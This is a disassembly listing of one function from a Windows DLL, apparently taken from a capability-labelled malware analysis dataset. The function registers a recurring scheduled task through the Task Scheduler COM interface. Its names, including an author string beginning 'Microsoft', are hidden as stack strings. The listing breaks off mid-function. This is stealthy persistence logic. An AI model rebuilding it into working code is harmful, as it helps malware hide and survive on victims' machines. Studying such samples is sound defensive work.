Function at 0x10008d20
Capabilities:
Contain obfuscated stackstrings
Schedule task via itaskservice

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10031c74
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push ebx
sub esp, 0x150
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
push 0
mov dword [ebp - 0xf4], 0
push 0
mov dword [ebp - 0x48], ecx
mov dword [ebp - 4], 0
call dword [sym.imp.ole32.dll_CoInitializeEx]
test eax, eax
je 0x10008d84
cmp eax, 1
jne 0x10008eae
lea eax, [ebp - 0x40]
mov dword [ebp - 0x40], 0
push eax
push 0x1003432c
push 1
push 0
push 0x1003434c
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
jne 0x10008ea8
mov edx, dword [ebp - 0x40]
sub esp, 0x10
xorps xmm0, xmm0
xorps xmm1, xmm1
xorps xmm2, xmm2
xorps xmm3, xmm3
mov eax, dword [edx]
mov ecx, dword [eax + 0x28]
mov eax, esp
sub esp, 0x10
movups xmmword [eax], xmm0
mov eax, esp
sub esp, 0x10
movups xmmword [eax], xmm1
mov eax, esp
sub esp, 0x10
movups xmmword [eax], xmm2
mov eax, esp
push edx
movups xmmword [eax], xmm3
call ecx
test eax, eax
mov eax, dword [ebp - 0x40]
js 0x10008ea2
mov dword [ebp - 0x20], 0
mov eax, dword [eax]
push 0xc
mov edi, dword [eax + 0x1c]
call fcn.100128d3
mov esi, eax
add esp, 4
mov dword [ebp - 0x1c], esi
mov byte [ebp - 4], 1
test esi, esi
je 0x10008e35
push 0x1003aee4
mov dword [esi + 4], 0
mov dword [esi + 8], 1
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov dword [esi], eax
test eax, eax
je 0x1000a6cb
jmp 0x10008e37
xor esi, esi
mov byte [ebp - 4], 0
mov dword [ebp - 0x1c], esi
test esi, esi
je 0x1000a6d5
lea eax, [ebp - 0x20]
mov byte [ebp - 4], 2
push eax
push dword [esi]
push dword [ebp - 0x40]
call edi
mov edi, eax
mov byte [ebp - 4], 0
or ecx, 0xffffffff
lock xadd dword [esi + 8], ecx
dec ecx
jne 0x10008e9b
mov eax, dword [esi]
test eax, eax
je 0x10008e79
push eax
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov dword [esi], 0
mov eax, dword [esi + 4]
test eax, eax
je 0x10008e90
push eax
call fcn.10012926
add esp, 4
mov dword [esi + 4], 0
push 0xc
push esi
call fcn.100128c5
add esp, 8
test edi, edi
jns 0x10008ec5
mov eax, dword [ebp - 0x40]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
call dword [sym.imp.ole32.dll_CoUninitialize]
mov ebx, dword [ebp - 0x14]
mov ecx, dword [ebp - 0xc]
pop edi
mov dword fs:[0], ecx
pop esi
pop ebx
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
mov ecx, dword [ebp - 0x40]
lea edx, [ebp - 0x24]
push edx
mov dword [ebp - 0x24], 0
push 0
mov eax, dword [ecx]
push ecx
call dword [eax + 0x24]
mov ecx, dword [ebp - 0x40]
mov esi, eax
push ecx
mov edx, dword [ecx]
call dword [edx + 8]
test esi, esi
jns 0x10008eef
mov eax, dword [ebp - 0x20]
jmp 0x10008ea2
mov ecx, dword [ebp - 0x24]
lea edx, [ebp - 0x6c]
mov dword [ebp - 0x6c], 0
push edx
push ecx
mov eax, dword [ecx]
call dword [eax + 0x1c]
test eax, eax
jns 0x10008f15
mov eax, dword [ebp - 0x20]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x24]
jmp 0x10008ea2
xor ecx, ecx
mov dword [ebp - 0x80], 0x7263694d
lea edx, [ebp - 0x80]
mov dword [ebp - 0x7c], 0x666f736f
lea esi, [ebp - 0x72]
mov dword [ebp - 0x78], 0x49552074
xor edi, edi
mov word [ebp - 0x74], 0x676e
xor eax, eax
mov dword [ebp - 0x54], edi
mov dword [ebp - 0x30], ecx
mov dword [ebp - 0x50], ecx
mov dword [ebp - 0x4c], eax
sub esi, edx
je 0x10008fb2
cmp esi, 0x7fffffff
ja 0x1000a6df
cmp esi, 0x1000
jb 0x10008f87
lea eax, [esi + 0x23]
cmp eax, esi
jbe 0x1000a6e4
push eax
call fcn.100128d3
add esp, 4
test eax, eax
je 0x1000a6e9
lea edi, [eax + 0x23]
and edi, 0xffffffe0
mov dword [edi - 4], eax
jmp 0x10008f92
push esi
call fcn.100128d3
add esp, 4
mov edi, eax
lea eax, [edi + esi]
mov dword [ebp - 0x54], edi
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x4c], eax
lea eax, [ebp - 0x80]
push esi
push eax
push edi
call fcn.100143f0
mov ecx, dword [ebp - 0x30]
add esp, 0xc
mov dword [ebp - 0x50], ecx
mov eax, dword [ebp - 0x6c]
mov eax, dword [eax]
mov eax, dword [eax + 0x28]
mov dword [ebp - 0x28], eax
mov byte [ebp - 4], 4
lea esi, [ebp - 0x128]
xorps xmm0, xmm0
mov dword [ebp - 0x118], 0
movups xmmword [ebp - 0x128], xmm0
mov dword [ebp - 0x114], 0xf
mov eax, edi
mov byte [ebp - 0x128], 0
mov dword [ebp - 0xf4], 1
mov dword [ebp - 0x64], edi
nop dword [eax + eax]
cmp eax, ecx
je 0x10009057
mov al, byte [eax]
mov ecx, dword [esi + 0x10]
mov edx, dword [esi + 0x14]
mov byte [ebp - 0x2c], al
cmp ecx, edx
jae 0x10009039
lea eax, [ecx + 1]
mov dword [esi + 0x10], eax
mov eax, esi
cmp edx, 0xf
jbe 0x10009022
mov eax, dword [esi]
add eax, ecx
mov cl, byte [ebp - 0x2c]
mov byte [eax + 1], 0
mov byte [eax], cl
mov eax, dword [ebp - 0x64]
mov ecx, dword [ebp - 0x30]
inc eax
mov dword [ebp - 0x64], eax
jmp 0x10009000
push dword [ebp - 0x2c]
mov byte [ebp - 0x3c], 0
push dword [ebp - 0x3c]
push ecx
mov ecx, esi
call fcn.10007820
mov eax, dword [ebp - 0x64]
mov ecx, dword [ebp - 0x30]
inc eax
mov dword [ebp - 0x64], eax
jmp 0x10009000
cmp dword [ebp - 0x114], 0xf
lea eax, [ebp - 0x128]
lea ecx, [ebp - 0x68]
cmova eax, dword [ebp - 0x128]
push eax
call fcn.10008c30
mov byte [ebp - 4], 5
mov eax, dword [eax]
test eax, eax
je 0x10009082
mov eax, dword [eax]
jmp 0x10009084
xor eax, eax
push eax
push dword [ebp - 0x6c]
call dword [ebp - 0x28]
mov esi, dword [ebp - 0x68]
mov dword [ebp - 0x28], eax
test esi, esi
je 0x100090e0
or ecx, 0xffffffff
lock xadd dword [esi + 8], ecx
dec ecx
jne 0x100090d9
test esi, esi
je 0x100090d9
mov eax, dword [esi]
test eax, eax
je 0x100090b7
push eax
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov dword [esi], 0
mov eax, dword [esi + 4]
test eax, eax
je 0x100090ce
push eax
call fcn.10012926
add esp, 4
mov dword [esi + 4], 0
push 0xc
push esi
call fcn.100128c5
add esp, 8
mov dword [ebp - 0x68], 0
mov eax, 1
mov byte [ebp - 4], 3
mov ecx, dword [ebp - 0x114]
and eax, 0xfffffffe
mov dword [ebp - 0x3c], eax
cmp ecx, 0xf
jbe 0x10009129
mov edx, dword [ebp - 0x128]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x1000911f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1000a6e9
push ecx
push edx
call fcn.100128c5
add esp, 8
mov eax, dword [ebp - 0x6c]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
cmp dword [ebp - 0x28], 0
jge 0x1000918a
mov eax, dword [ebp - 0x20]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x24]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
call dword [sym.imp.ole32.dll_CoUninitialize]
test edi, edi
je 0x10008eae
mov ecx, dword [ebp - 0x4c]
mov eax, edi
sub ecx, edi
cmp ecx, 0x1000
jb 0x1000917b
mov edi, dword [eax - 4]
add ecx, 0x23
sub eax, edi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1000a739
push ecx
push edi
call fcn.100128c5
add esp, 8
jmp 0x10008eae
mov ecx, dword [ebp - 0x24]
lea edx, [ebp - 0xac]
mov dword [ebp - 0xac], 0
push edx
push ecx
mov eax, dword [ecx]
call dword [eax + 0x24]
test eax, eax
jns 0x100091fa
mov eax, dword [ebp - 0x20]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x24]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
call dword [sym.imp.ole32.dll_CoUninitialize]
test edi, edi
je 0x10008eae
mov ecx, dword [ebp - 0x4c]
mov eax, edi
sub ecx, edi
cmp ecx, 0x1000
jb 0x100091eb
mov edi, dword [eax - 4]
add ecx, 0x23
sub eax, edi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1000a739
push ecx
push edi
call fcn.100128c5
add esp, 8
jmp 0x10008eae
mov ecx, dword [ebp - 0xac]
lea edx, [ebp - 0xa8]
push edx
mov dword [ebp - 0xa8], 0
push 2
mov eax, dword [ecx]
push ecx
call dword [eax + 0x28]
mov ecx, dword [ebp - 0xac]
mov esi, eax
push ecx
mov edx, dword [ecx]
call dword [edx + 8]
test esi, esi
jns 0x1000927d
mov eax, dword [ebp - 0x20]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x24]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
call dword [sym.imp.ole32.dll_CoUninitialize]
test edi, edi
je 0x10008eae
mov ecx, dword [ebp - 0x4c]
mov eax, edi
sub ecx, edi
cmp ecx, 0x1000
jb 0x1000926e
mov edi, dword [eax - 4]
add ecx, 0x23
sub eax, edi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1000a739
push ecx
push edi
call fcn.100128c5
add esp, 8
jmp 0x10008eae
mov ecx, dword [ebp - 0xa8]
lea edx, [ebp - 0x38]
push edx
mov dword [ebp - 0x38], 0
push 0x1003431c
mov eax, dword [ecx]
push ecx
call dword [eax]
mov ecx, dword [ebp - 0xa8]
mov esi, eax
push ecx
mov edx, dword [ecx]
call dword [edx + 8]
test esi, esi
jns 0x100092fc
mov eax, dword [ebp - 0x20]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x24]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
call dword [sym.imp.ole32.dll_CoUninitialize]
test edi, edi
je 0x10008eae
mov ecx, dword [ebp - 0x4c]
mov eax, edi
sub ecx, edi
cmp ecx, 0x1000
jb 0x100092ed
mov edi, dword [eax - 4]
add ecx, 0x23
sub eax, edi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1000a739
push ecx
push edi
call fcn.100128c5
add esp, 8
jmp 0x10008eae
xor edx, edx
mov dword [ebp - 0xa4], 0x45313245
xor ecx, ecx
mov dword [ebp - 0xa0], 0x39304444
lea eax, [ebp - 0xa4]
mov dword [ebp - 0x9c], 0x3937442d
lea esi, [ebp - 0x80]
mov dword [ebp - 0x98], 0x31342d32
mov dword [ebp - 0x94], 0x412d3531
mov dword [ebp - 0x90], 0x2d453441
mov dword [ebp - 0x8c], 0x32453245
mov dword [ebp - 0x88], 0x32433444
mov dword [ebp - 0x84], 0x34433645
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x60], ecx
mov dword [ebp - 0x30], edx
mov dword [ebp - 0x5c], edx
mov dword [ebp - 0x58], edx
sub esi, eax
je 0x100093e7
cmp esi, 0x7fffffff
ja 0x1000a6ee
cmp esi, 0x1000
jb 0x100093b3
lea eax, [esi + 0x23]
cmp eax, esi
jbe 0x1000a6f3
push eax
call fcn.100128d3
mov ecx, eax
add esp, 4
test ecx, ecx
je 0x1000a6e9
lea eax, [ecx + 0x23]
and eax, 0xffffffe0
mov dword [eax - 4], ecx
jmp 0x100093bc
push esi
call fcn.100128d3
add esp, 4
push esi
lea ecx, [ebp - 0xa4]
mov dword [ebp - 0x2c], eax
lea edx, [eax + esi]
mov dword [ebp - 0x60], eax
push ecx
push eax
mov dword [ebp - 0x30], edx
mov dword [ebp - 0x58], edx
call fcn.100143f0
mov edx, dword [ebp - 0x30]
add esp, 0xc
mov ecx, dword [ebp - 0x2c]
mov dword [ebp - 0x5c], edx
jmp 0x100093e9
xor edx, edx
mov eax, dword [ebp - 0x38]
mov eax, dword [eax]
mov eax, dword [eax + 0x24]
mov dword [ebp - 0x1c], eax
mov byte [ebp - 4], 7
lea esi, [ebp - 0x140]
mov eax, dword [ebp - 0x3c]
xorps xmm0, xmm0
or eax, 2
mov dword [ebp - 0x130], 0
movups xmmword [ebp - 0x140], xmm0
mov dword [ebp - 0xf4], eax
mov eax, ecx
mov dword [ebp - 0x12c], 0xf
mov byte [ebp - 0x140], 0
mov dword [ebp - 0x64], ecx
cmp eax, edx
je 0x1000948b
mov al, byte [eax]
mov ecx, dword [esi + 0x10]
mov edx, dword [esi + 0x14]
mov byte [ebp - 0x68], al
cmp ecx, edx
jae 0x1000946d
lea eax, [ecx + 1]
mov dword [esi + 0x10], eax
mov eax, esi
cmp edx, 0xf
jbe 0x10009456
mov eax, dword [esi]
mov edx, dword [ebp - 0x30]
add eax, ecx
mov cl, byte [ebp - 0x68]
mov byte [eax], cl
mov byte [eax + 1], 0
mov eax, dword [ebp - 0x64]
inc eax
mov dword [ebp - 0x64], eax
jmp 0x10009434
push dword [ebp - 0x68]
mov byte [ebp - 0x28], 0
push dword [ebp - 0x28]
push ecx
mov ecx, esi
call fcn.10007820
mov eax, dword [ebp - 0x64]
mov edx, dword [ebp - 0x30]
inc eax
mov dword [ebp - 0x64], eax
jmp 0x10009434
cmp dword [ebp - 0x12c], 0xf
lea eax, [ebp - 0x140]
lea ecx, [ebp - 0x3c]
cmova eax, dword [ebp - 0x140]
push eax
call fcn.10008c30
mov byte [ebp - 4], 8
mov eax, dword [eax]
test eax, eax
je 0x100094b6
mov eax, dword [eax]
jmp 0x100094b8
xor eax, eax
push eax
push dword [ebp - 0x38]
call dword [ebp - 0x1c]
mov esi, dword [ebp - 0x3c]
test esi, esi
je 0x10009511
or eax, 0xffffffff
lock xadd dword [esi + 8], eax
dec eax
jne 0x1000950a
test esi, esi
je 0x1000950a
mov eax, dword [esi]
test eax, eax
je 0x100094e8
push eax
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov dword [esi], 0
mov eax, dword [esi + 4]
test eax, eax
je 0x100094ff
push eax
call fcn.10012926
add esp, 4
mov dword [esi + 4], 0
push 0xc
push esi
call fcn.100128c5
add esp, 8
mov dword [ebp - 0x3c], 0
mov byte [ebp - 4], 6
mov ecx, dword [ebp - 0x12c]
cmp ecx, 0xf
jbe 0x1000954f
mov edx, dword [ebp - 0x140]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x10009545
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1000a6f8
push ecx
push edx
call fcn.100128c5
add esp, 8
mov eax, dword [ebp - 0x38]
push 0xc
mov eax, dword [eax]
mov eax, dword [eax + 0x3c]
mov dword [ebp - 0x1c], eax
call fcn.100128d3
mov esi, eax
add esp, 4
mov dword [ebp - 0x28], esi
mov byte [ebp - 4], 9
test esi, esi
je 0x10009596
push str.2023_03_05T09:00:00
mov dword [esi + 4], 0
mov dword [esi + 8], 1
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov dword [esi], eax
test eax, eax
je 0x1000a6fd
jmp 0x10009598
xor esi, esi
mov byte [ebp - 4], 6
mov dword [ebp - 0x28], esi
test esi, esi
je 0x1000a707
mov byte [ebp - 4], 0xa
push dword [esi]
push dword [ebp - 0x38]
call dword [ebp - 0x1c]
mov byte [ebp - 4], 6
or eax, 0xffffffff
lock xadd dword [esi + 8], eax
dec eax
jne 0x100095f7
mov eax, dword [esi]
test eax, eax
je 0x100095d5
push eax
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov dword [esi], 0
mov eax, dword [esi + 4]
test eax, eax
je 0x100095ec
push eax
call fcn.10012926
add esp, 4
mov dword [esi + 4], 0
push 0xc
push esi
call fcn.100128c5
add esp, 8
mov ecx, dword [ebp - 0x38]
push 1
push ecx
mov eax, dword [ecx]
call dword [eax + 0x54]
test eax, eax
jns 0x10009699
mov eax, dword [ebp - 0x20]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x38]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x24]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
call dword [sym.imp.ole32.dll_CoUninitialize]
mov ecx, dword [ebp - 0x2c]
test ecx, ecx
je 0x1000965f
mov edx, dword [ebp - 0x58]
mov eax, ecx
sub edx, ecx
cmp edx, 0x1000
jb 0x10009655
mov ecx, dword [eax - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1000a739
push edx
push ecx
call fcn.100128c5
add esp, 8
test edi, edi
je 0x10008eae
mov ecx, dword [ebp - 0x4c]
mov eax, edi
sub ecx, edi
cmp ecx, 0x1000
jb 0x1000968a
mov edi, dword [eax - 4]
add ecx, 0x23
sub eax, edi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1000a739
push ecx
push edi
call fcn.100128c5
add esp, 8
jmp 0x10008eae
mov ecx, dword [ebp - 0x38]
lea edx, [ebp - 0x70]
mov dword [ebp - 0x70], 0
push edx
push ecx
mov eax, dword [ecx]
call dword [eax + 0x28]
mov ecx, dword [ebp - 0x38]
mov esi, eax
push ecx
mov edx, dword [ecx]
call dword [edx + 8]
test esi, esi
jns 0x10009746
mov eax, dword [ebp - 0x20]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x24]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
call dword [sym.imp.ole32.dll_CoUninitialize]
mov ecx, dword [ebp - 0x2c]
test ecx, ecx
je 0x1000970c
mov edx, dword [ebp - 0x58]
mov eax, ecx
sub edx, ecx
cmp edx, 0x1000
jb 0x10009702
mov ecx, dword [eax - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1000a739
push edx
push ecx
call fcn.100128c5
add esp, 8
test edi, edi
je 0x10008eae
mov ecx, dword [ebp - 0x4c]
mov eax, edi
sub ecx, edi
cmp ecx, 0x1000
jb 0x10009737
mov edi, dword [eax - 4]
add ecx, 0x23
sub eax, edi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1000a739
push ecx
push edi
call fcn.100128c5
add esp, 8
jmp 0x10008eae
mov eax, dword [ebp - 0x70]
push 0xc
mov eax, dword [eax]
mov eax, dword [eax + 0x20]
mov dword [ebp - 0x1c], eax
call fcn.100128d3
mov esi, eax
add esp, 4
mov dword [ebp - 0x28], esi
mov byte [ebp - 4], 0xb
test esi, esi
je 0x1000978d
push str.PT12H
mov dword [esi + 4], 0
mov dword [esi + 8], 1
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov dword [esi], eax
test eax, eax
je 0x1000a711
jmp 0x1000978f
xor esi, esi
mov byte [ebp - 4], 6
mov dword [ebp - 0x28], esi
test esi, esi
je 0x1000a71b
mov byte [ebp - 4], 0xc
push dword [esi]
push dword [ebp - 0x70]
call dword [ebp - 0x1c]
mov dword [ebp - 0x1c], eax
or ecx, 0xffffffff
mov byte [ebp - 4], 6
lock xadd dword [esi + 8], ecx
dec ecx
jne 0x100097f1
mov eax, dword [esi]
test eax, eax
je 0x100097cf
push eax
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov dword [esi], 0
mov eax, dword [esi + 4]
test eax, eax
je 0x100097e6
push eax
call fcn.10012926
add esp, 4
mov dword [esi + 4], 0
push 0xc
push esi
call fcn.100128c5
add esp, 8
mov eax, dword [ebp - 0x70]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
cmp dword [ebp - 0x1c], 0
jge 0x1000988a
mov eax, dword [ebp - 0x20]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x24]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
call dword [sym.imp.ole32.dll_CoUninitialize]
mov ecx, dword [ebp - 0x2c]
test ecx, ecx
je 0x10009850
mov edx, dword [ebp - 0x58]
mov eax, ecx
sub edx, ecx
cmp edx, 0x1000
jb 0x10009846
mov ecx, dword [eax - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1000a739
push edx
push ecx
call fcn.100128c5
add esp, 8
test edi, edi
je 0x10008eae
mov ecx, dword [ebp - 0x4c]
mov eax, edi
sub ecx, edi
cmp ecx, 0x1000
jb 0x1000987b
mov edi, dword [eax - 4]
add ecx, 0x23
sub eax, edi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1000a739
push ecx
push edi
call fcn.100128c5
add esp, 8
jmp 0x10008eae
mov ecx, dword [ebp - 0x24]
lea edx, [ebp - 0x34]
mov dword [ebp - 0x34], 0
push edx
push ecx
mov eax, dword [ecx]
call dword [eax + 0x2c]
test eax, eax
js 0x10009cb6
mov ecx, dword [ebp - 0x34]
lea edx, [ebp - 0x30]
mov dword [ebp - 0x30], 0
push edx
push ecx
mov eax, dword [ecx]
call dword [eax + 0x9c]
mov ecx, dword [ebp - 0x34]
mov esi, eax
push ecx
mov edx, dword [ecx]
call dword [edx + 8]
test esi, esi
jns 0x1000995f
mov eax, dword [ebp - 0x34]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x20]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x24]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
call dword [sym.imp.ole32.dll_CoUninitialize]
mov ecx, dword [ebp - 0x2c]
test ecx, ecx
je 0x10009925
mov edx, dword [ebp - 0x58]
mov eax, ecx
sub edx, ecx
cmp edx, 0x1000
jb 0x1000991b
mov ecx, dword [eax - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1000a739
push edx
push ecx
call fcn.100128c5
add esp, 8
test edi, edi
je 0x10008eae
mov ecx, dword [ebp - 0x4c]
mov eax, edi
sub ecx, edi
cmp ecx, 0x1000
jb 0x10009950
mov edi, dword [eax - 4]
add ecx, 0x23
sub eax, edi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1000a739
push ecx
push edi
call fcn.100128c5
add esp, 8
jmp 0x10008eae
mov eax, dword [ebp - 0x30]
push 0xc
mov eax, dword [eax]
mov eax, dword [eax + 0x28]
mov dword [ebp - 0x1c], eax
call fcn.100128d3
mov esi, eax
add esp, 4
mov dword [ebp - 0x28], esi
mov byte [ebp - 4], 0xd
test esi, esi
je 0x100099a6
push str.PT24H
mov dword [esi + 4], 0
mov dword [esi + 8], 1
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov dword [esi], eax
test eax, eax
je 0x1000a725
jmp 0x100099a8
xor esi, esi
mov byte [ebp - 4], 6
mov dword [ebp - 0x28], esi
test esi, esi
je 0x1000a72f
mov byte [ebp - 4], 0xe
push dword [esi]
push dword [ebp - 0x30]
call dword [ebp - 0x1c]
mov dword [ebp - 0x1c], eax
or ecx, 0xffffffff
mov byte [ebp - 4], 6
lock xadd dword [esi + 8], ecx
dec ecx
jne 0x10009a0d
mov eax, dword [esi]
test eax, eax
je 0x100099e8
push eax
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov dword [esi], 0
mov eax, dword [esi + 4]
test eax, eax
je 0x100099ff
push eax
call fcn.10012926
add esp, 4
mov dword [esi + 4], 0
push 0xc
push esi
call fcn.100128c5
mov eax, dword [ebp - 0x1c]
add esp, 8
test eax, eax
jns 0x10009aad
mov eax, dword [ebp - 0x20]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x34]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x24]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x30]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
call dword [sym.imp.ole32.dll_CoUninitialize]
mov ecx, dword [ebp - 0x2c]
test ecx, ecx
je 0x10009a73
mov edx, dword [ebp - 0x58]
mov eax, ecx
sub edx, ecx
cmp edx, 0x1000
jb 0x10009a69
mov ecx, dword [eax - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1000a739
push edx
push ecx
call fcn.100128c5
add esp, 8
test edi, edi
je 0x10008eae
mov ecx, dword [ebp - 0x4c]
mov eax, edi
sub ecx, edi
cmp ecx, 0x1000
jb 0x10009a9e
mov edi, dword [eax - 4]
add ecx, 0x23
sub eax, edi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1000a739
push ecx
push edi
call fcn.100128c5
add esp, 8
jmp 0x10008eae
mov ecx, dword [ebp - 0x30]
push 0
push ecx
mov eax, dword [ecx]
call dword [eax + 0x30]
test eax, eax
jns 0x10009b58
mov eax, dword [ebp - 0x34]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x20]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x24]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x30]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
call dword [sym.imp.ole32.dll_CoUninitialize]
mov ecx, dword [ebp - 0x2c]
test ecx, ecx
je 0x10009b1e
mov edx, dword [ebp - 0x58]
mov eax, ecx
sub edx, ecx
cmp edx, 0x1000
jb 0x10009b14
mov ecx, dword [eax - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1000a739
push edx
push ecx
call fcn.100128c5
add esp, 8
test edi, edi
je 0x10008eae
mov ecx, dword [ebp - 0x4c]
mov eax, edi
sub ecx, edi
cmp ecx, 0x1000
jb 0x10009b49
mov edi, dword [eax - 4]
add ecx, 0x23
sub eax, edi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1000a739
push ecx
push edi
call fcn.100128c5
add esp, 8
jmp 0x10008eae
mov ecx, dword [ebp - 0x34]
push 0
push ecx
mov eax, dword [ecx]
call dword [eax + 0x48]
test eax, eax
jns 0x10009c03
mov eax, dword [ebp - 0x34]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x20]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x24]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x30]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
call dword [sym.imp.ole32.dll_CoUninitialize]
mov ecx, dword [ebp - 0x2c]
test ecx, ecx
je 0x10009bc9
mov edx, dword [ebp - 0x58]
mov eax, ecx
sub edx, ecx
cmp edx, 0x1000
jb 0x10009bbf
mov ecx, dword [eax - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1000a739
push edx
push ecx
call fcn.100128c5
add esp, 8
test edi, edi
je 0x10008eae
mov ecx, dword [ebp - 0x4c]
mov eax, edi
sub ecx, edi
cmp ecx, 0x1000
jb 0x10009bf4
mov edi, dword [eax - 4]
add ecx, 0x23
sub eax, edi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1000a739
push ecx
push edi
call fcn.100128c5
add esp, 8
jmp 0x10008eae
mov ecx, dword [ebp - 0x34]
push 0
push ecx
mov eax, dword [ecx]
call dword [eax + 0x40]
test eax, eax
jns 0x10009ca8
mov eax, dword [ebp - 0x34]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x20]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x24]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x30]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
call dword [sym.imp.ole32.dll_CoUninitialize]
mov ecx, dword [ebp - 0x2c]
test ecx, ecx
je 0x10009c74
mov edx, dword [ebp - 0x58]
mov eax, ecx
sub edx, ecx
cmp edx, 0x1000
jb 0x10009c6a
mov ecx, dword [eax - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1000a739
push edx
push ecx
call fcn.100128c5
add esp, 8
test edi, edi
je 0x10008eae
mov ecx, dword [ebp - 0x4c]
mov eax, edi
sub ecx, edi
cmp ecx, 0x1000
jb 0x1000917b
mov edi, dword [eax - 4]
add ecx, 0x23
sub eax, edi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1000a739
jmp 0x1000917b
mov ecx, dword [ebp - 0x34]
push 6
push ecx
mov eax, dword [ecx]
call dword [eax + 0x88]
mov ecx, dword [ebp - 0x24]
lea edx, [ebp - 0xb4]
mov dword [ebp - 0xb4], 0
push edx
push ecx
mov eax, dword [ecx]
call dword [eax + 0x44]
test eax, eax
jns 0x10009d5e
mov eax, dword [ebp - 0x20]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x24]
push eax
mov ecx, dword [eax]
